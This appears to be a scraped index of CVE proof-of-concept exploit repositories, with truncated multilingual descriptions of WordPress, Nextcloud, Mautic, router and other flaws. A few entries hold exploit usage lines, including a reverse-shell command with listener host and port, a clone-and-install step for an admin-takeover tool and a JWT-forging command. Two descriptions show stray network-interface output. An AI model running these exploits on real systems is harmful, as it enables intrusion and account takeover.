CVE-2025-47550

Instantio - Plugin Wordpress 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0: mtu...

CVE-2025-47549

Ultimate Before After Image Slider & Gallery – BEAF 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlf...

CVE-2026-45156-POC

Glitch Matrice Hacker 🚨 CVE-2026-45156 🚨 Nextcloud useroidc ID4me Bypass della Firma JWT Proof of Concept PoC completamente automatizzato per l'acquisizione dell'admin. 📖 La Storia Dietro ogni CVE c'è una storia. Questa è stata trovata alle 2 di notte in una fredda notte d'inverno, alimentata da...

CVE-2019-20059

CVE-2019-20059 Yetishare SQL Injection nel parametro sSortDir0 - v3.5.2 - v4.5.4. Oltre alla possibilità per un amministratore di sfruttare questa vulnerabilità, può essere utilizzata anche in un attacco CSRF per indurre un utente amministratore a eseguire query dannose. File interessati...

CVE-2023-44811

CVE-2023-44811 mooSocial v3.1.8 è vulnerabile a Cross Site Request Forgery CSRF che consente a un attaccante di cambiare la password dell'amministratore quando un utente amministratore autenticato fa clic sulla pagina HTML dannosa appositamente creata. Fornisco 2 pagine HTML che, quando viene fat...

cve-2026-9558-poc

CVE-2026-9558 — Iniezione di template lato server SSTI nei template dei temi di Mautic fino alla compromissione totale dell'admin Indice Panoramica Versioni interessate Causa principale Analisi Struttura del repository Requisiti Utilizzo Output previsto Riferimenti Avvertenze Panoramica...

CVE-2025-63820

CVE-2025-63820 Einreicher: Nicola Giuffrida Informationen Hersteller: TOTOLINK Website des Herstellers: TOTOLINK Modell: A720R Firmware-Version: V4.1.5cu.630B20250509 Firmware-Downloadadresse: TOTOLINK Details zur Schwachstelle Beim Anmelden am Kontrollpanel werden Benutzername und Passwort im...

CVE-2023-3460

Ultimate Member - Panoramica Benvenuti nel repository GitHub di Ultimate Member! Ultimate Member è un potente e flessibile plugin per profili utente e iscrizioni per WordPress, ma a volte i plugin presentano alcune vulnerabilità e portano al compromesso del sito web. Avviso importante: si prega d...

CVE-2026-23550

🧨 CVE-2026-23550 – Bypass Admin del Connettore Modulare Accesso amministrativo WordPress non autenticato tramite il parametroorigin=mo Plugin Modular Connector ≤ 2.5.1 📖 Descrizione Il plugin Modular Connector per WordPress versioni ≤ 2.5.1 contiene una vulnerabilità critica di bypass...

CVE-2023-49440

CVE-2023-49440-POC root@kitploit: Exploit Title: AhnLab EPP ManagementCentralised Endpoint Security Management - Boolean-based-SQL-Injection SQL Injection that led to RCE Date: 16 July 2023 CVE : CVE-2023-49440 Vendor Homepage: https://www.ahnlab.com/en Software...

CVE-2018-12633-TPLink-Auth-Bypass

CVE-2018-12633-TPLink-Auth-Bypass Un caso di studio tecnico e un'analisi di sfruttamento della vulnerabilità di bypass dell'autenticazione nel firmware TP-Link TL-WR840N CVE-2018-12633. Analisi della vulnerabilità: bypass dell'autenticazione di TP-Link TL-WR840N CVE-2018-12633 ⚠️ Disclaimer: Quest...

POC-CVE-2026-19626

CVE-2026-19626 — रिपोर्ट जनरेशन में RCE प्रमाणित, गैर-एडमिन स्थिति: CONFIRMED — पूर्ण-Remote, गैर-एडमिन, केवल-REST 6.7.2-14.el9 लैब, 2026-08-21। हथियारबद्ध श्रृंखला poc.py यही करता है: 1. किसी भी सामान्य org उपयोगकर्ता के रूप में login करें 2. name: "=system''" के साथ POST /rest/group —...

CVE-2025-68860

WordPress Mobile Builder = 1.4.2 - Broken Authentication CVE-2025-68860 Descrizione Il plugin WordPress Mobile builder versione 1.4.2 e precedenti presenta una vulnerabilità di Broken Authentication che consente a un attaccante di creare token JWT validi utilizzando il segreto predefinito...

CVE-2021-21425-RCE

questa è la mia versione, ne ho trovate molte in internet ma sono troppo scadenti UTILIZZO root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 aspetta.. per 60 secondi otterrai una shell sul tuo listener...

CVE-2018-0114-Go

CVE-2018-0114 Prova de Conceito Referência: CVE-2018-0114 Nota: Apenas para fins educacionais. Para gerar um JWT com a declaração "admin", execute o seguinte comando no diretório do projeto: root@kitploit: go run . --claim=admin root@kitploit: /\ \ /\ /\ \ /\ \ /'\ /'\ /' \ /' \ /'\ /' \ /' \ /...

Duplicate-of-CVE-2023-26982

Trudesk Version 1.2.6 Schwachstellenbeschreibung: Trudesk Version 1.2.6 wurde entdeckt, eine gespeicherte Cross-Site-Scripting XSS-Schwachstelle über die Tickets Create/Modify Ticket Tags in der Admin-Rolle zu enthalten. Angriffsvektoren: Der Angreifer muss zum Menü Einstellungen gehen, Tickets...

CVE-2022-32060

Snipe-IT Versione v6.0.2 Spiegazione della vulnerabilità: Una vulnerabilità di upload arbitrario di file nel componente Update Branding Settings di Snipe-IT v6.0.2 consente agli attaccanti di eseguire codice arbitrario tramite un file appositamente predisposto. Vettori di attacco: Abbiamo trovato...

CVE-2025-4601

CVE-2025-4601 - Tema WordPress RealHomes = 4.4.0 - Escalação de Privilégios 🔥 Resumo da Vulnerabilidade O tema WordPress RealHomes versões = 4.4.0 é vulnerável a uma vulnerabilidade de escalação de privilégios. Isso permite que usuários autenticados com privilégios baixos como assinantes elevem...

CVE-2022-1903

CVE-2022-1903 root@kitploit: Title: ARMember 3.4.8 - Unauthenticated Admin Account Takeover Author: Cyllective https://cyllective.com/ CVE: CVE-2022-1903 Installation root@kitploit: git clone https://github.com/biulove0x/CVE-2022-1903.git cd CVE-2022-1903/ python3 -m pip install -r requirements.t...

CVE-2022-31294

CVE-2022-31294 Online Discussion Forum Site 1.0 - Account Takeover Titolo dell'exploit: Online Discussion Forum Site 1.0 - CSRF Crea Nuovo/Aggiorna Utente Admin Esistente Account Takeover Data: 2022-06-13 CVE: CVE-2022-31294 Autore dell'exploit: Abdulaziz Saad @b4zb0z Homepage del fornitore:...